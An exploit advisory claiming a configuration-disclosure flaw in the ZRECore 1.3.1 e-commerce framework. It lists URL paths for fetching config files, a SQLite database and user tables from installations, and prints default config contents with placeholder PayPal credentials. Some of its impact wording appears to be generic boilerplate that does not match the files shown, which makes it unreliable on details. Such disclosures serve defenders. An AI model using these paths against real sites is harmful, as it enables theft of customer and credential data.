####################################################################

# Exploit Title : ZRECore 1.3.1 Database Configuration Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 16/02/2019
# Vendor Homepage : zend.com
# Software Download Link : github.com/zrecore/ZRECore/archive/master.zip
# Software Information Link : npmjs.com/package/zrecore
github.com/zrecore/ZRECore
# Software Version : From 1.01 to 1.3.1
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-16 [ Configuration ] ~ CWE-200 [ Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : packetstormsecurity.com/files/151682/ZRECore-1.3.1-Database-Configuration-Disclosure.html

####################################################################

# Description about Software :
***************************
ZRECore - The most intuitive approach to e-commerce application development. 

This application provides a native Mobile and E-Commerce API to all types of PHP 

applications, including Wordpress, Drupal, Joomla, and many more. 

Built upon the Zend Framework MVC library, the ZRECore application provides a 

stable and easily modified e-commerce API you can use directly in any PHP project. 

ZRECore leverages various technologies, including Doctrine 2, Sqlite3, and jQuery 

in order to provide a powerful, yet intuitive code base that any PHP programmer 

can quickly understand and extend to suite their project needs.

####################################################################

# Impact :
***********
ZRECore 1.3.1 [ and other versions ] configuration file may potentially 

disclose sensitive information to remote attackers.

The configuration file that ZRECore 1.3.1 stored in /application/configs/application.ini

and in different folders. HTTP requests consisting of a single character will cause the software to 

disclose sensitive configuration information, including the password/database to the administrative web interface.

This file is installed, by default, with world readable and possibly world writeable permissions enabled. 

This may have some potentially serious consequences as the configuration 

file also stores password information in plain text.

This issue occurs because access controls on configuration files are not properly set.

An attacker can exploit this issue to retrieve potentially sensitive information. 

Attackers can access config file via URL request. This may aid in further attacks. 

####################################################################

# Database Config Disclosure Exploit :
********************************
/application/configs/application.ini

autoloadernamespaces.passwordHash = "PasswordHash" ;

; Database
resources.db.adapter = "PDO_SQLITE"
resources.db.params.dbname = APPLICATION_PATH "/../data/sqlite/data.sq3"
resources.EntityManager.connection.path = APPLICATION_PATH "/../data/sqlite/data.sq3"
resources.EntityManager.modelDir = APPLICATION_PATH "/models"
resources.EntityManager.proxyDir = APPLICATION_PATH "/proxies"

/application/configs/paypal.default.ini

paypal.service = "express_checkout"
paypal.api_username = "your_username"
paypal.api_password = "your_password"
paypal.api_signature = "your_api_signature"
paypal.api_version = "63.0"
paypal.authorizing_account_email = "your_paypal_email@example.com"

paypal.endpoint_url = "https://api-3t.paypal.com/nvp"
paypal.expresscheckout_url = "https://www.paypal.com/webscr"

paypal.api_username = "your_username"
paypal.api_password = "your_password"
paypal.api_signature = "your_api_signature"
paypal.authorizing_account_email = "your_paypal_email@example.com"

/data/mysql/_install.sql

/data/mysql/queueTransaction.sql

/data/sqlite/_install.sql

/data/sqlite/aclPermission.sql

/data/sqlite/aclPermission.sql

/data/sqlite/aclRole.sql

/data/sqlite/category.sql

/data/sqlite/comment.sql

/data/sqlite/coupon.sql

/data/sqlite/currency.sql

/data/sqlite/data.sq3

/data/sqlite/folder.sql

/data/sqlite/item.sql

/data/sqlite/itemCoupon.sql

/data/sqlite/itemProperty.sql

/data/sqlite/merchantGateway.sql
	
/data/sqlite/order.sql

/data/sqlite/orderCoupon.sql

/data/sqlite/orderItem.sql

/data/sqlite/orderService.sql

/data/sqlite/orderStatusHistory.sql

/data/sqlite/orderSubscription.sql

/data/sqlite/packageLevel.sql

/data/sqlite/page.sql

/data/sqlite/post.sql

/data/sqlite/postComment.sql

/data/sqlite/property.sql

/data/sqlite/propertyType.sql

/data/sqlite/propertyValue.sql

/data/sqlite/service.sql

/data/sqlite/serviceCoupon.sql

/data/sqlite/servicePackageLevel.sql

/data/sqlite/status.sql

/data/sqlite/subscription.sql

/data/sqlite/subscriptionCoupon.sql

/data/sqlite/subscriptionPackageLevel.sql

/data/sqlite/subscriptionService.sql

/data/sqlite/user.sql

/data/sqlite/userAcl.sql

/data/sqlite/userProfile.sql

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

####################################################################